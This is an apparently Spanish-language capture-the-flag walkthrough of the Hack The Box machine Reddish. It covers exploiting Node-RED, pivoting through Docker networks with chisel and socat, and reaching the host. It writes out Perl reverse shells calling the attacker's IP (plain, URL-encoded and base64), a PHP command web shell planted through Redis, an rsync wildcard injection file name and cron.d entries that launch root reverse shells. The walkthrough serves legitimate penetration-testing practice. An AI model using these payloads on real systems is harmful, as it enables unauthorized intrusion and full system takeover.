Post

HTB Reddish

Descripción

Reddish es una máquina clasificada como de dificultad Insane en HTB y es ideal para prepararse para el ecPPTV2, ya que nos permite practicar el pivoting y la transferencia de archivos entre redes. Cuenta con cuatro redes independientes, y para lograr alcance entre ellas, es necesario aplicar técnicas de pivoting, las cuales se llevarán a cabo utilizando herramientas como chisel y socat.

La intrusión comienza desde una instancia de Node-RED, un editor basado en navegador en JavaScript utilizado para configurar flujos para IoT. Se explotará este servicio para obtener una shell remota en un contenedor. A partir de ahí, será necesario pivotar entre otros tres contenedores, escalando privilegios en uno de ellos, antes de terminar eventualmente en el sistema host. Durante todo este proceso, la conectividad estará limitada al contenedor inicial, por lo que será necesario mantener túneles para la comunicación.


10.10.10.94

Se comprueba que la máquina está activa y se determina su sistema operativo a través del script implementado en bash whichSystem.sh

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.94
PING 10.10.10.94 (10.10.10.94) 56(84) bytes of data.
64 bytes from 10.10.10.94: icmp_seq=1 ttl=63 time=107 ms

--- 10.10.10.94 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 106.909/106.909/106.909/0.000 ms

El sistema operativo es una Linux

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap. Comando: sudo nmap -p- --open -sS -T4 -vvv -n -Pn <IP> -oG allPorts

Puertos abiertos son:

1
1880

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados.

Comando: nmap -sCV -p<Ports Open> <IP> -oN targeted

1
2
3
4
5
6
7
8
9
10
## Nmap 7.94 scan initiated Tue Mar 12 10:30:19 2024 as: nmap -p1880 -sCV -oN targeted 10.10.10.94
Nmap scan report for 10.10.10.94
Host is up (0.095s latency).

PORT     STATE SERVICE VERSION
1880/tcp open  http    Node.js Express framework
|_http-title: Error

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
## Nmap done at Tue Mar 12 10:30:35 2024 -- 1 IP address (1 host up) scanned in 16.26 seconds

Port 1880 - http

Visitando la pagina web se tiene:

Untitled

se lista un mensaje que el método GET no está permitido, por lo cual a través de curl se va a realizar una petición al servicio web con el método POST obteniendo:

1
2
3
4
5
6
❯ curl -s -X POST http://10.10.10.94:1880 | jq
{
  "id": "539b28f5b68ba7763e18f1f207d4c5f2",
  "ip": "::ffff:10.10.14.12",
  "path": "/red/{id}"
}

se está informando uno a posible ruta, visitando el servicio web:

Untitled

el sitio web está corriendo el servicio de Node-RED.

¿Qué es Node-RED? Node-RED es una herramienta de desarrollo basada en flujo para programación visual desarrollada originalmente por IBM para conectar dispositivos de hardware, API y servicios en línea como parte de la Internet de las cosas.​ Wikipedia

En un Node-RED podemos obtener una reverse Shell a través de proporcionar el código disponible en node-red-reverse-shell.json

Para lo cual vamos a cargar el código en:

Untitled

Importando código

Untitled

Se procede a editar la IP correspondiente a nuestra máquina atacante y el puerto que estará en escucha para obtener la reverse Shell Untitled

En nuestra máquina atacante se procede a ponerse en escucha a través de nc y en el servicio web se ejecuta la instrucción a través de Deploy, obteniendo:

Untitled

Como se observa listando el usuario y las interfaces de red, se gana acceso como el usuario root, pero actualmente nos encontramos en el segmento de red 172.18.X.X/16 y 172.19.X.X/16

Para trabajar más cómodamente y tener una Shell totalmente interactiva se gana acceso a través de una reverse Shell en Perl, utilizando:

1
perl -e 'use Socket;$i="10.10.14.12";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Descubriendo nuevos hosts

Actualmente nuestra dirección IP corresponde a la 172.18.0.2 y 172.19.0.4 por lo que se tiene alcance a dos segmentos de red.

Creando un script hostDiscovery.sh en bash para descubrir nuevos hosts activos en la red, a través de:

1
2
3
4
5
6
7
8
9
10
11
##!/bin/bash

hosts=("172.18.0" "172.19.0")

for host in "${hosts[@]}"; do
  echo -e "\n[+] Enumerating $host.0/24\n"
  for i in $(seq 1 254); do
    timeout 1 bash -c "ping -c 1 $host.$i" >/dev/null && echo "[+] Host $host.$i - ACTIVE" &
  done
  wait
done

Se puede “transferir” el script codificando el base64 y en la máquina víctima decodificarlo, se procede a otorgar de permisos de ejecución y ejecutar el script obteniendo:

Untitled

Se descubre cuatro hosts activos, se procede a dibujar el diagrama de red:

Untitled

Leyendas:

  • nodo rojo → atacante
  • nodo amarillo → Pwned
  • nodo verde → hostname
  • nodo blanco → host descubiertos

A través de un script en bash se procede a enumerar los puertos abiertos en los hosts correspondientes al segmento 172.18.X.X/16:

1
2
3
4
5
6
7
8
9
10
##!/bin/bash

hosts=("172.18.0.1" "172.19.0.1" "172.19.0.2" "172.19.0.3")

for host in "${hosts[@]}"; do
  echo -e "\n[+] Scanning ports on $host\n"
  for port in $(seq 1 10000); do
    timeout 1 bash -c "echo '' > /dev/tcp/$host/$port" 2> /dev/null && echo -e "\t[+] Port $port - OPEN" &
  done; wait
done

Obteniendo:

Untitled

Para enumerar los puertos descubiertos se van a traer a la máquina atacante, para lo cual se va a realizar un reenvío de puertos (port forwarding), tarea que se llevará a cabo mediante la herramienta Chisel. Para ello, es necesario transferir el binario de esta herramienta a la máquina víctima.

Transfer file

Utilizando Release v1.9.1 · jpillora/chisel · GitHub

Se va a transferir chisel al contenedor a través de nc

1
2
3
4
5
6
7
##Maquina victima - receptor <IPEmisor>
cat > chisel < /dev/tcp/<10.10.14.12>/444

##Maquina atacante - emisor
nc -nlvp 444 < chisel

##Comprobar integridad con md5sum

Port Forwarding - Chisel

Trayéndonos los puertos:

  • 172.19.0.26379
  • 172.19.0.380

A través de:

1
2
3
4
5
##Maquina victima
 ./chisel client 10.10.14.12:1234 R:127.0.0.1:6379:172.19.0.2:6379 R:127.0.0.1:80:172.19.0.3:80

 #Maquina atacante
 ./chisel server --reverse -p 1234

Obteniendo:

Untitled

172.19.0.2 - 172.19.0.3

Se procede a enumerar los puertos a través de nmap, obteniendo:

Untitled

Port 80 - http

Visitando el servicio web:

Untitled

Inspeccionando el código fuente se obtiene una posible ruta:

Untitled

Redish Explotation

Se va a explotar el servicio de redish a traves de Redis Remote Command Execution ≈ Packet Storm

Se va a tratar de subir una consola .php

1
2
3
4
5
6
7
8
9
10
11




<?php
  echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>



Para que la consola pueda ser subida correctamente se recomienda dejar tres saltos de línea al comienzo y final

Utilizando los comandos:

1
2
3
4
5
6
7
8
9
10
❯ redis-cli -h 127.0.0.1 flushall
OK
❯ cat shell.php | redis-cli -h 127.0.0.1 -x set crackit
OK
❯ redis-cli -h 127.0.0.1 config set dir /var/www/html/8924d0549008565c554f8128cd11fda4/
OK
❯ redis-cli -h 127.0.0.1 config set dbfilename "shell.php"
OK
❯ redis-cli -h 127.0.0.1 save
OK

Untitled

Se recomienda recopilar los comandos en un script de bash, ya que el servicio web se reinicia constantemente y borra lo cargado.

Obteniendo:

Untitled

Untitled

Untitled

Se dispone de ejecución remota de comandos.

Recordar el segmento de red:

Untitled

La máquina atacante no tiene comunicación directa con el host 172.19.0.3 - 172.20.0.2. Por lo tanto, se requiere enviar un reverse shell a la máquina Nodered, que actuará como intermediaria. Esta última estará a la escucha mediante socat y reenviará el tráfico a nuestra máquina atacante, dado que sí tiene comunicación con esta última.

Socat - Reverse Shell

Se gana acceso nuevamente a la máquina nodered y utilizando la máquina nodered como intermediaria para que redireccione el tráfico hacia nuestra máquina atacante

Untitled

El binario de socat se encuentra disponible en static-binaries/binaries/linux/x86_64/socat at master · andrew-d/static-binaries · GitHub

Transfiriendo a la máquina nodered

1
2
3
4
5
6
7
##Maquina victima - receptor <IPEmisor>
cat > socat < /dev/tcp/<10.10.14.12>/444

##Maquina atacante - emisor
nc -nlvp 444 < socat

##Comprobar integridad con md5sum

Preparando el túnel a través de:

1
2
3
4
5
6
##Maquina Node-RED
./socat TCP-LISTEN:7979,fork TCP:10.10.14.12:5555 &

##Maquina atacante
nc -nlvp 5555

En la web Shell ejecutamos:

1
perl -e 'use Socket;$i="172.19.0.4";$p=7979;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Para que esto funcione de la manera correcta debe estar en codeado a URL

A traves de BurpSuite

Untitled

Obteniendo así:

1
%70%65%72%6c%20%2d%65%20%27%75%73%65%20%53%6f%63%6b%65%74%3b%24%69%3d%22%31%37%32%2e%31%39%2e%30%2e%34%22%3b%24%70%3d%37%39%37%39%3b%73%6f%63%6b%65%74%28%53%2c%50%46%5f%49%4e%45%54%2c%53%4f%43%4b%5f%53%54%52%45%41%4d%2c%67%65%74%70%72%6f%74%6f%62%79%6e%61%6d%65%28%22%74%63%70%22%29%29%3b%69%66%28%63%6f%6e%6e%65%63%74%28%53%2c%73%6f%63%6b%61%64%64%72%5f%69%6e%28%24%70%2c%69%6e%65%74%5f%61%74%6f%6e%28%24%69%29%29%29%29%7b%6f%70%65%6e%28%53%54%44%49%4e%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%4f%55%54%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%45%52%52%2c%22%3e%26%53%22%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%22%29%3b%7d%3b%27

Untitled

Obteniendo así:

Untitled

172.20.0.2 - 172.19.0.3

La máquina www-data dispone de dos interfaces de red la 172.20.X.X/16 y 172.19.X.X/16

Untitled

PrivEsc

Elaborando un script en Bash que enumere las tareas en curso a intervalos regulares de tiempo.

1
2
3
4
5
6
7
8
9
10
##!/bin/bash

old_process=$(ps -eo command)

while true; do
  new_process=$(ps -eo command)
  diff <(echo "$old_process") <(echo "$new_process") | grep "[\\>\\<]" | grep -vE "command|procmon|kworker"
  old_process=$new_process
done

Obteniendo:

Untitled

Se está ejecutando un archivo /backup/backup.sh

Enumerando a traves de tareas cron se tiene:

Untitled

Existe una tarea que el usuario root estará ejecutando cada tres minutosUntitled

Listando este archivo se tiene:

Untitled

Se va a abusar del comando rsync, ya que se está utilizando wildcards para su ejecución por lo que se va a crear dos archivos en la ruta /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

1
2
echo 'chmod u+s /bin/bash' > test.rdb
touch -- '-e sh test.rdb'

Untitled

Luego de un momento se obtiene:

Untitled

La bash ha cambiado a SUID

Ejecutando una consola como el usuario root

Untitled

Reverse shell www-data → Máquina atacante

Una forma alternativa de escalar privilegios es hacer que la máquina víctima www-data mande una reverse shell a la maquina atacante, ya que el usuario que esta ejecutando el archivo es root

Para enviar una reverse shell desde la máquina www-data, correspondiente a las direcciones IP 172.20.0.2 y 172.19.0.3, utilizaremos el túnel previamente establecido con socat en la máquina nodered. Por lo tanto, ahora el archivo tet.rdb contendrá un one-liner que enviará una reverse Shell hacia la máquina 172.19.0.4, donde se encuentra activo socat. Posteriormente, la máquina 172.19.0.4 - nodered redirigirá el tráfico hacia nuestra máquina atacante.

1
perl -e 'use Socket;$i="172.19.0.4";$p=7979;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Codificando en base64

Transfiriendo a la máquina víctima decodificando y guardando la salida en el archivo test.rdb

1
2
> echo 'cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuNCI7JHA9Nzk3OTtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg==' | base64 -d > test.rdb
> touch -- '-e sh test.rdb'

Obteniendo:

Untitled

Dirigiéndonos a la ruta /backup/ y analizando el contenido de este archivo nos percatamos que existe un servicio en el puerto 873

Untitled

Realizando un ping a backup nos responde la IP 172.20.0.3 por lo que disponemos de una nueva IP para enumerar

Untitled

Dibujando el diagrama de red hasta el momento tenemos:

Untitled

Actualmente somos el usuario www el cual dispone de las IP’s 172.19.0.3 y 172.20.0.3

Enumeración rsync

Enumerando el servicio rsync se tiene:

Untitled

Vamos a transferir el socat a través de curl como la máquina no dispone nativamente de curl lo podemos realizar utilizando una función disponible en command line - how to download a file using just bash and nothing else (no curl, wget, perl, etc.) - Unix & Linux Stack Exchange

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function __curl() {
  read -r proto server path <<<"$(printf '%s' "${1//// }")"
  if [ "$proto" != "http:" ]; then
    printf >&2 "sorry, %s supports only http\n" "${FUNCNAME[0]}"
    return 1
  fi
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [ "${HOST}" = "${PORT}" ] && PORT=80

  exec 3<>"/dev/tcp/${HOST}/$PORT"
  printf 'GET %s HTTP/1.0\r\nHost: %s\r\n\r\n' "${DOC}" "${HOST}" >&3
  (while read -r line; do
   [ "$line" = $'\r' ] && break
  done && cat) <&3
  exec 3>&-
}

Se a emplear el túnel socat desde la máquina node-RED, que está comunicada con nuestra máquina de ataque. En nuestra máquina de ataque, estableceremos un servidor con Python en el puerto 5555, el mismo que definimos en la configuración de la máquina node-RED para la redirección del tráfico.

  • Socat

Untitled

  • Transfiriendo socat a www

Untitled

La razón para transferir socat a la máquina www radica en la capacidad que tenemos para cargar archivos en la máquina 172.20.0.3. Aprovecharemos esta capacidad para enviar una reverse shell a nuestra máquina actual, la `172.20.0.2.

Untitled

Vamos a cargar un archivo reverse el cual contendrá una instrucción cron.d para que la máquina 172.20.0.3 realice cada minutoUntitled

Subiendo el archivo reverse a la máquina 172.20.0.3 en el directorio /etc/cron.d

A través de;

1
rsync reverse rsync://172.20.0.3/src/etc/cron.d

Comprobando que el archivo se haya subido correctamente:

Untitled

Vamos a subir nuestro archivo reverse.sh el cual contendrá la instrucción en perl para mandar una reverse shell

1
perl -e 'use Socket;$i="172.20.0.2";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Subiendo el reverse.sh a través de:

1
rsync reverse.sh rsync://172.20.0.3/src/tmp/reverse.sh

Comprobando que se subióUntitled Poniéndonos en escucha a través de socat

1
./socat TCP-LISTEN:7777 stdout

Obteniendo:

Untitled

Intrusión→ Máquina Base 10.10.10.94

Actualmente nos encontramos en la máquina 172.20.0.3 - backup como el usuario root

Enumerando la máquina se encuentra particiones de discos y se va a proceder a montarlos:

Untitled

Montándonos la ruta /dev/sda2

Untitled

Para ganar una consola interactiva se va a seguir el mismo procedimiento anterior de las tareas cron

Realizando un archivo tarea que contendrá:

1
* * * * *  root sh /tmp/reverse.sh

Copiándolo en la ruta:

1
cp tarea ./mnt/test/etc/cron.d

y el archivo reverse.sh contendrá una instrucción en perl que nos mandara una consola a nuestra IP atacante

1
perl -e 'use Socket;$i="10.10.14.12";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Untitled

Obteniendo:

Untitled

Se habrá ganado acceso a la máquina base 10.10.10.94

Untitled

Nuestro esquema final de red quedará de la siguiente manera:

Untitled

This post is licensed under CC BY 4.0 by the author.